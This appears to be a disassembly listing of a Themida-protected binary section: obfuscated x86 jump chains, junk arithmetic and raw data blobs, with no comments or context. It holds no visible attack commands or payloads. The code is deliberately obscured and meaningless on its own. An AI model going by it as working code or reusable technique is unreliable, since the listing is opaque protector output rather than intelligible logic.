		dd 1CB2BA52h, 0BE9053Fh, 55FFFFDEh, 152B6EBDh, 95ED813Eh
		dd 0E93CE7FCh, 1935h, 9113E958h, 0D9F70000h, 3E1C149h
		dd 0D3BF181h, 0CF898CF2h, 5FF82959h, 0C6AE940h,	8B660000h
		dd 0E9522414h, 0FFFFE16Fh, 6F86CD81h, 0ED814372h, 7B7F6FD2h
		dd 2EEAC781h, 0EF01054Fh, 2EEAEF81h, 2C8B054Fh,	4C48124h
		dd 51000000h, 4B9h, 0EAC78100h,	0E9377C08h, 7C62h, 6D3E685Ah
		dd 0F0E90000h, 1000069h, 0D3315EF2h, 5BDE895Ah,	515EF301h
		dd 0C1815954h, 4, 3E1FE952h, 90B00000h,	0B804D0F6h, 2408E8C0h
		dd 9B5519Eh, 3517E9h
		db 0
; ---------------------------------------------------------------------------

loc_54862D:				; CODE XREF: Themida_:00545DA5j
		mov	ebx, [esp]
		add	esp, 4
		add	edi, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54F03B
; ---------------------------------------------------------------------------
		dd 7D0368h, 240C8900h, 833CE954h, 34FF0000h, 2434FF24h
		dd 1D1E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548662:				; CODE XREF: Themida_:0054E1F2j
		pop	eax
		jmp	loc_54D455
; ---------------------------------------------------------------------------
		dd 0E9243433h, 0FFFFFCAFh, 0C8BCD09h, 88AAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54867A:				; CODE XREF: Themida_:005513EDj
		add	esp, 4
		xor	al, bh
		pop	ebx
		add	bl, 0C0h
		push	eax
		jmp	loc_5494C4
; ---------------------------------------------------------------------------
aFske		db 'FéªE',0
		align 2
		dw 0E2C1h
		dd 8265E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54869A:				; CODE XREF: Themida_:00545F75j
		mov	[esp], esi
		not	dword ptr [esp]
		pop	esi
		push	edx
		mov	edx, 74B77C47h
		not	edx
		push	edx
		jmp	loc_548A41
; ---------------------------------------------------------------------------
		db 0B8h
		dd 1C8F5A99h, 4F8CE9h, 59C80900h, 7F499F0Dh, 25053543h
		dd 0C7893DE7h, 10C68158h, 0E911DC03h, 0A66h, 0E94FEC80h
		dd 0FFFFE035h, 405h, 42D00h, 4870000h, 0ECA7E924h, 2D66FFFFh
		dd 0C8B2DDAh, 0AD5E924h, 8B660000h, 2FE92404h, 2800007Ah
		dd 53DF04D8h, 805BB450h, 0CC86AAECh, 32E9D9F6h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548717:				; CODE XREF: Themida_:0054BFE4j
		pop	edi
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	1B4Ah
		mov	[esp], ebp
		push	28245437h
		jmp	loc_54925D
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0EC83E704h, 24148904h, 0C6FEEAB6h, 0FFD6AFE9h, 243C32FFh
		dd 0C48E9h, 0EC835C00h,	240C8904h, 740FBB53h, 68B96FCFh
		dd 3152D92Ah, 241C8BD9h, 4C481h, 0BD550000h, 120F448Dh
		dd 0C15DE901h, 0F18107E9h, 9E4B45h, 2D4BC181h, 2E92365h
		dd 0BF000080h, 5367324Ah, 3753CF81h, 0F9E95F31h, 8100000Eh
		dd 4EBh, 241C8700h, 2414895Ch, 0EC8321B6h, 83B0E902h, 0C6810000h
		dd 4, 4B850h, 0C6010000h, 24348758h, 1E2A685Ch,	0C890000h
		dd 1361E924h, 0EE800000h, 5AF028DBh, 770E9h, 4BF00h, 73E90000h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5487E7:				; CODE XREF: Themida_:00548ABBj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	edi, 2
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		div	cx
		push	small 5B1Fh
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_545D94
; ---------------------------------------------------------------------------
		dw 0F929h
		dd 0F3BE565Fh, 46719F61h, 7F0FE681h, 1DE9145Ah,	1000003h
		dd 8BE95DE8h, 50FFFFF6h, 6D68E089h, 89000079h, 4BE2434h
		dd 1000000h, 75E95EF0h,	5800001Bh, 0E904C483h, 0FFFFEA4Bh
		dd 8F24248Bh, 0D25C2404h, 0E99C243Ch, 0FFFFD530h, 4604E6C1h
		dd 0F559E957h, 489FFFFh, 139AB824h, 0C58958FFh,	7704E9h
		db 0
; ---------------------------------------------------------------------------

loc_54887D:				; CODE XREF: Themida_:00550CAEj
		xchg	edi, [esp]
		pop	esp
		sub	bl, al
		pop	eax
		sub	bl, 0F0h
		jmp	loc_550F3D
; ---------------------------------------------------------------------------
		dd 4E9835Eh, 0E9240C87h, 1690h,	0B6148AB9h, 59CD015Ah
		dd 0ED81FD01h, 5AB6148Ah, 0FFD845E9h, 81E389FFh, 4C3h
		dd 4C38100h, 87000000h,	0FF5C241Ch, 0E99C240Ch,	43E3h
		dd 47D8E94Ah, 0D3660000h, 0E99C2424h, 0FFFFD4BCh, 8F243489h
		dd 2DE92047h, 0C1000045h, 0A3E908EEh, 89000088h, 23B5E9E2h
		dd 0E2890000h, 4C281h, 0C2810000h, 4, 31241433h, 0AEE92414h
		dd 0FFFFFFDEh, 0CE92434h, 3, 94E95BDDh
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54891B:				; CODE XREF: Themida_:00546AD3j
		add	ecx, 4
		jmp	loc_549612
; ---------------------------------------------------------------------------
		db 21h
		dd 240C8BC8h, 0E9E08950h, 641Fh, 0C588B3B0h, 0EA885866h
		dd 0D9B35359h, 80A2E380h, 0F3806AC3h, 25EB8056h, 1BE9DA08h
		dd 100008Fh, 0AE95FFAh
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548957:				; CODE XREF: Themida_:00550689j
		pop	edx
		jmp	loc_54BCEC
; ---------------------------------------------------------------------------
		db 1, 0DFh, 56h
		dd 83E7E9h
		db 0
; ---------------------------------------------------------------------------

loc_548965:				; CODE XREF: Themida_:0054FD71j
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54AECC
; ---------------------------------------------------------------------------
		dw 0E8D1h
		dd 452A2D05h, 0E9C22983h, 0FFFFD574h
; ---------------------------------------------------------------------------

loc_548988:				; CODE XREF: Themida_:00548AADj
		mov	esi, 0CBC09E7h
		sub	esi, 297618AAh
		inc	esi
		not	esi
		inc	esi
		push	edi
		jmp	loc_54DDB3
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 6659669Dh, 9C241CD3h, 0FFD3E7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5489AD:				; CODE XREF: Themida_:00547917j
		pop	ecx
		add	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2
		add	ebp, esi
		jmp	loc_550489
; ---------------------------------------------------------------------------

loc_5489C6:				; CODE XREF: Themida_:005472B4j
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 451F29E4h
		inc	ecx
		jmp	loc_54634D
; ---------------------------------------------------------------------------
		dd 2F19BEBAh, 2454316Bh, 35585A04h, 6B2F19BEh, 0E9240C8Bh
		dd 5096h, 49D3E95Ch, 0C6810000h, 44D65D28h, 2783EE81h
		dd 0C6014326h, 0FFEBC0E9h, 58C689FFh, 0FFFBEEE9h, 0AFBB9FFh
		dd 4E90DC1h, 8F00001Eh,	815C2404h, 4C7h, 4EC8300h, 50240C89h
		dd 87553468h, 0D0F75808h, 0AACA2D40h, 0C189F778h, 38AE9h
		db 0
; ---------------------------------------------------------------------------

loc_548A41:				; CODE XREF: Themida_:005486AAj
		inc	dword ptr [esp]
		jmp	loc_5496AE
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0E1h
		dd 5E12D11Bh, 9FBE5652h, 81537562h, 1456A2EEh, 86E0E923h
		dd 3C870000h, 4E60E924h, 0C1660000h, 816608E3h,	6654F7EBh
		dd 1C8BD931h, 4C48324h,	2DDA0566h, 38AFE9h, 4C68300h, 0E9243487h
		dd 4C70h
; ---------------------------------------------------------------------------

loc_548A90:				; CODE XREF: Themida_:0054A27Bj
		dec	ebp
		push	ecx
		mov	ecx, 282454B7h
		xor	ebp, ecx
		jmp	loc_54C757
; ---------------------------------------------------------------------------

loc_548A9E:				; CODE XREF: Themida_:00551F68j
		push	eax
		push	ebx
		push	edi
		mov	edi, 47BB7B18h
		add	edi, 0DF648C6h
		push	esi
		jmp	loc_548988
; ---------------------------------------------------------------------------

loc_548AB2:				; CODE XREF: Themida_:0054FFA9j
		add	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		jmp	loc_5487E7
; ---------------------------------------------------------------------------
		dd 88F3EC80h, 0BFE958E2h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548ACB:				; CODE XREF: Themida_:0054EBBCj
		dec	ebx
		push	ebp
		mov	ebp, 7FD60C86h
		add	ebp, 0DEFF3223h
		sub	ebx, ebp
		jmp	loc_548557
; ---------------------------------------------------------------------------
		db 66h
		dd 5024048Bh, 60FBE9h, 1C77FF00h, 6658669Dh, 9C240411h
		dd 0FFD29BE9h, 64E95EFFh, 81000044h, 7B4648E1h,	6F70E975h
		dd 0DA010000h, 5621C281h, 0CBE93F99h, 8300008Ah, 8B042404h
		dd 0E7E9243Ch, 3300006Eh, 14312414h, 2C315224h,	242C3324h
		dd 0F7242C31h, 2A88E9D5h, 77FF0000h, 19589D1Ch,	0E99C2404h
		dd 0FFFFD24Ch, 81DEF74Eh, 866FFBC6h, 0E9F10948h, 379Eh
; ---------------------------------------------------------------------------

loc_548B58:				; CODE XREF: Themida_:0054C1F8j
		push	esp
		jmp	loc_551D0E
; ---------------------------------------------------------------------------
		dw 6C81h
		dd 7CC90424h, 4C017AB0h, 44810424h, 7CC90424h, 34FF7AB0h
		dd 0AFE95924h
		db 8Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548B7B:				; CODE XREF: Themida_:0054FAF8j
		dec	eax
		xor	eax, 42E868F8h
		jmp	loc_5472EA
; ---------------------------------------------------------------------------
		dw 30B9h
		dd 8143130Dh, 142806F1h, 2BE98122h, 0E90FE209h,	8D4Ah
		dd 0D0F7D8F7h, 0BCBFD105h, 0B0EF81D7h, 817BB868h, 2337B2C7h
		dd 81C70133h, 2337B2EFh, 0EA88E933h, 5156FFFFh,	56237BB9h
		dd 0BF5743h, 0E9000000h, 0FFFFE3B1h, 3E8C140h, 812EA135h
		dd 87B2530h, 0ABE96EF7h
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548BE3:				; CODE XREF: Themida_:0054E3FEj
		not	ebx
		xchg	eax, ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		sub	esp, 4
		jmp	loc_546EDD
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0D206E924h, 489FFFFh, 41B46824h, 82E92DFBh, 0FF000093h
		dd 0E9582434h, 0FFFFDEE9h
; ---------------------------------------------------------------------------

loc_548C28:				; CODE XREF: Themida_:0054C6A9j
		add	edi, 22205E49h
		push	eax
		mov	eax, 6D68128Ch
		add	edi, 6DAE1A5Eh
		add	edi, eax
		sub	edi, 6DAE1A5Eh
		mov	eax, [esp]
		add	esp, 4
		sub	edi, 7593B3D2h
		jmp	loc_54716F
; ---------------------------------------------------------------------------
aAEiSG		db '€ÃEˆÝéЃ',0
		align 10h

loc_548C60:				; CODE XREF: Themida_:005513DFj
		push	341D3FBCh
		pop	ebx
		push	edi
		jmp	loc_54D13B
; ---------------------------------------------------------------------------
		dd 6036BF57h, 0A5E96396h, 54FFFFECh, 4EC835Eh, 68240C89h
		dd 4, 8C6EE9h, 0C4CE8100h, 8163F248h, 22C930F6h, 62E2E982h
		dd 0D3010000h, 5A2434FFh, 104C483h, 0EF835BDFh,	243C8704h
		dd 8924248Bh, 8950241Ch, 405E0h, 1AE90000h, 0B900001Bh
		dd 3CA25FFFh, 2806F181h, 75E910C6h, 0D00007Ah, 12E07A55h
		dd 0E902E0C1h, 0FFFFDFBAh, 52241C8Bh, 0C281E289h, 4, 4B951h
		dd 0CA010000h, 145CE9h
		db 0
; ---------------------------------------------------------------------------

loc_548CF5:				; CODE XREF: Themida_:00551D6Bj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_54686D
; ---------------------------------------------------------------------------

loc_548D01:				; CODE XREF: Themida_:00548560j
		and	eax, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_551E69
; ---------------------------------------------------------------------------
		dd 2AB8EF81h, 49E938E6h, 81FFFFE5h, 4ECh, 240C8900h, 0CC1B6DB9h
		dd 18292D7Bh, 0C8010100h, 182905h, 0BF575901h, 1148489Bh
		dd 2701EF81h, 0BE566E1Fh, 400E4313h, 0FFFFC681h, 0F681FFFFh
		dd 1453330h, 7FD1BA52h,	0F2811369h, 0F7730FEh, 2358CA81h
		dd 0F7E9170Ah, 2D000053h, 881AE222h, 8758C501h,	74E9242Ch
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548D87:				; CODE XREF: Themida_:0054B50Aj
		add	esp, 4
		jmp	loc_54C7AA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483243Ch, 5FB85004h, 0F72E0B5Ch, 3393E9D8h, 0C8B0000h
		dd 4C48124h, 0E9000000h, 0FFFFE181h, 8704E883h,	248B2404h
		dd 24048924h, 0BB535854h, 4, 29E9D801h,	58000015h, 709EF81h
		dd 0CF011188h, 709C781h, 87591188h, 248B243Ch, 24D36624h
		dd 0A9E99C24h, 81FFFFCFh, 0B978D7F5h, 0E4C58141h, 0C1027248h
		dd 0BF5708E5h, 442513C8h, 8105EFC1h, 6F610BCFh,	0C781476Dh
		dd 42240E53h, 5C2DF781h, 0FD31E1A1h, 0DBFBE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548E1E:				; CODE XREF: Themida_:00547731j
		pop	ebx
		push	28A8h
		mov	[esp], ebx
		push	7C64h
		mov	[esp], ecx
		mov	ecx, 7252311Bh
		push	eax
		mov	eax, ecx
		jmp	loc_54AA70
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 6677D23h, 6E6ABD55h, 0E5C1237Eh,	8E5EE903h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548E52:				; CODE XREF: Themida_:0054E42Aj
		push	dword ptr [edi+eax*4]
		push	edi
		jmp	loc_54A177
; ---------------------------------------------------------------------------
		db 52h
		dd 58107BBAh, 3EC2814Dh, 816E2551h, 3F569C2h, 5AD62949h
		dd 6A3E68h, 0FA5EE900h,	0F2DFFFFh, 2943C435h, 2146E9E8h
		dd 74FF0000h, 8F5F0424h, 248B2404h, 5BE95224h, 0E9FFFFFAh
		dd 0FFFFCEF8h
; ---------------------------------------------------------------------------

loc_548E9C:				; CODE XREF: Themida_:00549F6Ej
		pop	ebx
		jmp	loc_5512F8
; ---------------------------------------------------------------------------
aSQ		db '^éÎQ',0
		align 4
		dd 4C281h, 0BD550000h, 4, 2C8BEA29h, 4C48124h, 87000000h
		dd 895C2414h, 8B54243Ch, 0C481243Ch, 4,	21A4BB53h, 0F3811ABCh
		dd 5C645740h, 0F704EBC1h, 5E95E9D3h, 74FF0000h,	8F590424h
		dd 0E95C2404h, 3DFDh
; ---------------------------------------------------------------------------

loc_548EF4:				; CODE XREF: Themida_:0054949Ej
		mov	edx, 79C2333Ah
		inc	edx
		push	eax
		mov	eax, 799C1FEBh
		push	edi
		mov	edi, 3EF1FA1h
		not	edi
		inc	edi
		and	edi, 7A9B16C3h
		sub	edi, 3B3AC3CAh
		and	eax, edi
		pop	edi
		push	ecx
		mov	ecx, 4FFC147Dh
		xor	eax, ecx
		pop	ecx
		add	eax, 78C674Ah
		and	eax, 16411ADFh
		sub	eax, 0B2DCAC6Fh
		jmp	loc_546797
; ---------------------------------------------------------------------------
		db 59h,	51h, 52h
		dd 10BAE9h, 2EC8300h, 241C8966h, 0F8284FB7h, 0FFF29FE9h
		dd 7604FFh, 4762CF0h, 24148BD3h, 2804C483h, 2C7D2CD8h
		dd 4EC83E7h, 57242C89h,	6EE9E789h, 5BFFFFD1h, 8B24048Fh
		dd 0EC812424h, 4, 83242489h, 8F042404h,	0B8502404h, 4
		dd 4246C81h, 9A2568Fh, 0FFF0FFE9h, 5AD189FFh, 5C686858h
		dd 14890000h, 15E0BA24h, 0EDE97957h, 81000075h,	4C7h, 4EF8100h
		dd 0E9000000h, 0FFFFFAA2h, 8904EC83h, 4832424h,	348B0424h
		dd 8559E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548FD2:				; CODE XREF: Themida_:005520C7j
		push	edi
		mov	edi, 0
		sub	edi, esi
		mov	esi, edi
		pop	edi
		xor	esi, 0E235494Eh
		add	ecx, 3CA93C1Bh
		add	ecx, esi
		sub	ecx, 3CA93C1Bh
		mov	esi, [esp]
		add	esp, 4
		mov	ebx, ecx
		pop	ecx
		sub	[edx+38h], ebx
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4E78725Fh
		mov	esi, ebx
		pop	ebx
		jmp	loc_5482FD
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 241C8B24h, 5532E9h, 2C8B5400h, 4C48124h, 81000000h
		dd 4C5h, 5DBB5300h, 0E949F07Bh,	19EAh, 5B8EE95Ah, 3C870000h
		dd 0CD25C24h, 0EAE99C24h, 89000061h, 9DE92424h,	83000079h
		dd 3C3302C7h, 1381E924h, 0F1810000h, 55C27978h,	31D0F791h
		dd 31C831C1h, 70A2E9C1h, 0DDB90000h, 0E93ECC68h, 4581h
		dd 53E18951h, 0E85935BBh, 58EB8128h, 81746F7Bh,	6F78B4CBh
		dd 0EAEB814Eh, 56256D59h, 87F0E9h, 53490400h, 0B5E9E389h
		dd 28000073h, 0E95959CEh, 674Ch
; ---------------------------------------------------------------------------

loc_5490B8:				; CODE XREF: Themida_:0054A268j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_547D5B
; ---------------------------------------------------------------------------
		db 29h,	0C6h, 58h
		dd 1F14E9h
		db 0
; ---------------------------------------------------------------------------

loc_5490C9:				; CODE XREF: Themida_:0054AEEAj
		mov	ebx, [esp]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	eax, eax
		jnz	loc_5512E6
		sub	esp, 4
		mov	[esp], ebp
		push	1
		pop	ebp
		jmp	loc_548139
; ---------------------------------------------------------------------------
		db 9, 0C5h, 58h
		dd 20C5814Dh, 0E9CC3CB6h, 0FFFFF71Fh, 0CE81E6D1h, 68B45464h
		dd 0C681D6F7h, 0E9FC5E77h, 89F78957h, 6CF7E9FDh, 535E0000h
		dd 0FB86650h, 1624E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549132:				; CODE XREF: Themida_:0054D9F6j
		mov	[esp], edx
		jmp	loc_5503CD
; ---------------------------------------------------------------------------
		dw 0FE01h
		dd 0FFD9B0E9h, 0AF0F66FFh, 9C5166C8h, 0FFCC47E9h, 0FFF821FFh
		dd 57E92434h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549157:				; CODE XREF: Themida_:0054E61Dj
		pop	esp
		jmp	loc_5517BE
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 0FA010000h, 74FF525Fh, 8F5A0424h, 0FFE92404h, 5B000007h
		dd 5104C483h, 4043E9h, 2434FF00h, 1DA5E958h, 0E8C10000h
		dd 3E0C107h, 7642F80Dh,	1C054827h, 89ED8787h, 0C0E958C3h
		dd 66000080h, 81240C8Bh, 4ECh, 24348900h, 0B3E95E54h, 66FFFFE3h
		dd 68240C8Bh, 2ACFh, 7F5DE9h, 2EF8100h,	167504Dh, 0EBE95FFBh
		dd 8100005Ch, 4C4h, 4EC8300h, 68243489h, 506Dh,	66243C89h
		dd 0E2BA6652h, 78C0E93Eh, 0C4810000h, 4, 382F6859h, 83E90000h
		dd 8900003Fh, 3CBF57E5h, 8108BE65h, 4F724DE7h, 6E04E945h
		dd 34890000h, 4F35E924h, 0E9460000h, 3D65h, 160F9735h
		dd 7ADE9C8h, 0ABB0000h,	0E948CA05h, 45FDh, 6859CE29h, 647Eh
		dd 3140E9h, 243C8900h, 0E38E9h,	14896600h, 50D8B224h, 7DE938B4h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549257:				; CODE XREF: Themida_:0054C209j
		push	eax
		jmp	loc_551BD1
; ---------------------------------------------------------------------------

loc_54925D:				; CODE XREF: Themida_:00548732j
		pop	ebp
		jmp	loc_54D794
; ---------------------------------------------------------------------------

loc_549263:				; CODE XREF: Themida_:00548093j
		sub	al, bh
		add	al, 33h
		pop	ebx
		sub	bl, al
		pop	eax
		add	bl, 38h
		add	bl, al
		jmp	loc_54EA65
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aHco		db '$hco',0
		align 2
aSk		db 'éŠ',7,0
		dw 5A00h
		dd 31240433h, 4332404h,	24248B24h, 52685266h, 8900000Ch
		dd 0B050241Ch, 2801B345h, 0D36858C3h, 89000018h, 7B1240Ch
		dd 6623E180h, 0E9B3B753h, 0FFFFE54Fh, 31242C33h, 2C33242Ch
		dd 577EE924h, 0D7290000h, 29FDBB53h, 0DF017715h, 0F8895A5Bh
		dd 81243C8Bh, 4C4h, 8C70500h, 0F8012562h, 6208C72Dh, 901E925h
		dd 0C2810000h, 4, 5C241487h, 6A0968h, 241C8900h, 5A4368h
		dd 2F75E900h, 85E90000h, 81FFFFCAh, 8833E2C3h, 3A72E933h
		dd 0FF590000h, 81582434h, 4C4h,	5AD02800h, 0B60FC330h
		dd 8734FFC0h, 0FFCA5FE9h, 716668FFh, 14890000h,	0E9E28924h
		dd 3DA5h, 50B0EB80h, 0C3004CB0h, 420AE9h, 0C6FE5B00h, 0E9E6C680h
		dd 63Eh, 1BDh, 729EE900h, 34FF0000h, 24048B24h,	62536851h
		dd 24890000h, 24048124h, 4, 4B85059h, 1000000h,	81E958C1h
		dd 5500004Fh, 881D6B68h, 0D5F75D26h, 38B6E9h, 243C3000h
		dd 24748653h, 0E9D6F601h, 65E7h
; ---------------------------------------------------------------------------

loc_5493A8:				; CODE XREF: Themida_:005514F7j
		pop	eax
		push	ecx
		jmp	loc_548084
; ---------------------------------------------------------------------------
		db 53h
		dd 69368FBBh, 5BD8297Dh, 3502E8C1h, 11A52934h, 6AA6E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5493C6:				; CODE XREF: Themida_:0054F1E5j
		add	edx, 75541AF7h
		sub	esi, edx
		pop	edx
		jmp	loc_54C94E
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 0FFFFCBD0h
; ---------------------------------------------------------------------------

loc_5493DC:				; CODE XREF: Themida_:00547F3Ej
		mov	ebx, 750257DDh
		and	ebx, 5EF747EFh
		not	ebx
		sub	ebx, 5EA5A49Bh
		jmp	loc_54E7AF
; ---------------------------------------------------------------------------

loc_5493F4:				; CODE XREF: Themida_:0054BBDBj
		inc	esi
		shl	esi, 4
		jmp	loc_5520C5
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 2Eh
		dd 156D701h, 0F6815BDEh, 0E4366017h, 15EF701h, 29FFE9C7h
		dd 49410000h, 0FFDD38E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54941D:				; CODE XREF: Themida_:0054C606j
		mov	[esp], esi
		push	edi
		mov	edi, 0FFFFh
		mov	esi, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_5477C7
; ---------------------------------------------------------------------------
		dd 0EF5C6705h, 3CCFE924h, 0FF660000h, 0E99C240Ch, 0FFFFC93Ch
		dd 0B753C828h, 6E7C09Fh, 0E0C780h, 83595BF8h, 2C8904ECh
		dd 0E9E58924h, 0FFFFE5A2h, 8924248Bh, 15E92404h, 0D2FFFFC9h
		dd 0E99C242Ch, 0FFFFC90Ch
; ---------------------------------------------------------------------------

loc_549488:				; CODE XREF: Themida_:00547C7Ej
		mov	edx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_548EF4
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0EBA0F181h, 4CE9E547h, 0BEFFFFCFh, 4, 2308EB81h, 0F301635Dh
		dd 0E904EC83h, 5934h
; ---------------------------------------------------------------------------

loc_5494C4:				; CODE XREF: Themida_:00548687j
		mov	al, 6Ch
		or	al, 59h
		push	bx
		mov	bl, 50h
		xor	al, bl
		mov	bx, [esp]
		push	7670h
		mov	[esp], edi
		jmp	loc_550C91
; ---------------------------------------------------------------------------
		db 66h
		dd 66C5CEBBh, 6658C329h, 6605E3C1h, 5507E3C1h, 2EE2E9h
		dd 24148900h, 557A2ABAh, 0CD1B962h, 0D1316E6Ch,	8124148Bh
		dd 4C4h, 84FDE900h, 895C0000h, 0C2E92434h, 0FFFFFFD1h
		dd 7DE92434h, 5C00001Ah, 4AB0F66h, 65E99C24h, 0BEFFFFC8h
		dd 4, 348BF701h, 4C48124h, 83000000h, 1C8904ECh, 4BB24h
		dd 0DF010000h, 87F1E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549552:				; CODE XREF: Themida_:00551A5Dj
		mov	esi, [esp]
		jmp	loc_55082E
; ---------------------------------------------------------------------------
		dw 5066h
		dd 0C73070B0h, 0FFD7B2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549565:				; CODE XREF: Themida_:00545D97j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], bx
		push	eax
		mov	ah, 6Ch
		add	ah, 0FFh
		sub	ah, 0FFh
		jmp	loc_54A6FB
; ---------------------------------------------------------------------------
		db 66h
		dd 66C8B60Fh, 8CE99C51h, 5000005Bh, 0C0761368h,	24048B51h
		dd 4C481h, 19050000h, 0E9AE3F8Ah, 16E2h, 74B616B1h, 0BEE9CE30h
		dd 66000047h, 9C241CF7h, 0FFC7D3E9h, 0C8B66FFh,	0E2895224h
		dd 0A70E9h, 73290D00h, 0FA0556E5h, 2D611975h, 70EB69E9h
		dd 8158C601h, 0C835A8EBh, 81F3010Eh, 0C835A8C3h, 1C335E0Eh
		dd 3585E924h, 0E0C10000h, 0FBBC2D05h, 0C781BF7Eh, 56542A80h
		dd 0EF81C701h, 56542A80h, 51F4E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549612:				; CODE XREF: Themida_:0054891Ej
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		jmp	loc_5505BC
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 2434FF04h, 592434FFh, 8304C483h, 21E904C4h, 0F7FFFFE3h
		dd 6DE94FD7h, 0BBFFFFDAh, 199A3ED5h, 4245C31h, 0BB53595Bh
		dd 369235B1h, 0FFCD45E9h, 0EE815FFFh, 420D4DE1h, 0E95EF089h
		dd 0FFFFE747h, 12Dh, 5D0F700h, 6D355A9Dh, 0FFCDB4E9h, 4C483FFh
		dd 6602EC83h, 0B5240C89h, 568EE948h, 0EE810000h, 6BA958C7h
		dd 0E92434FFh, 5933h, 348EEF81h, 0E7C156D3h, 0F1E78102h
		dd 81035958h, 10082CEFh, 5E96E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5496AE:				; CODE XREF: Themida_:00548A44j
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 0E6ECDC7Bh
		jmp	loc_54A09C
; ---------------------------------------------------------------------------
		dw 0CD81h
		dd 2A23192Ah, 8104E5C1h, 719BACEDh, 5DEE01EFh, 8904EC83h
		dd 0B8502414h, 4D9F76DDh, 3AB0E9h, 2F47BF00h, 0E9506DC4h
		dd 0FFFFDEF8h, 535166ACh, 0C780F1B7h, 5BF98849h, 0C800AB04h
		dd 5966AB2Ch, 0D8280C04h, 0CB65266h, 7CF6E9h, 8BE80100h
		dd 0C481242Ch, 4, 42Dh,	24048700h, 243C895Ch, 0BE56E789h
		dd 4, 685EF701h, 455h, 21FBE9h,	33E95600h, 1FFFFCDh, 0E1E958C1h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54974B:				; CODE XREF: Themida_:0054EDCAj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	esi
		mov	esi, 157570A2h
		shr	esi, 5
		jmp	loc_54E104
; ---------------------------------------------------------------------------
aFp_0		db 'fP´À',0
		dd 48B66E3h, 56E95624h,	0E9000014h, 0FFFFC61Ch
; ---------------------------------------------------------------------------

loc_549778:				; CODE XREF: Themida_:0055005Dj
		sub	eax, 2ACC076Ah
		sub	eax, 0C8CF3200h
		jmp	loc_54D28B
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E9F03000h, 1D89h
; ---------------------------------------------------------------------------

loc_549794:				; CODE XREF: Themida_:005512B1j
		mov	ecx, 15DF026Fh
		add	[esp+4], ecx
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54A308
; ---------------------------------------------------------------------------
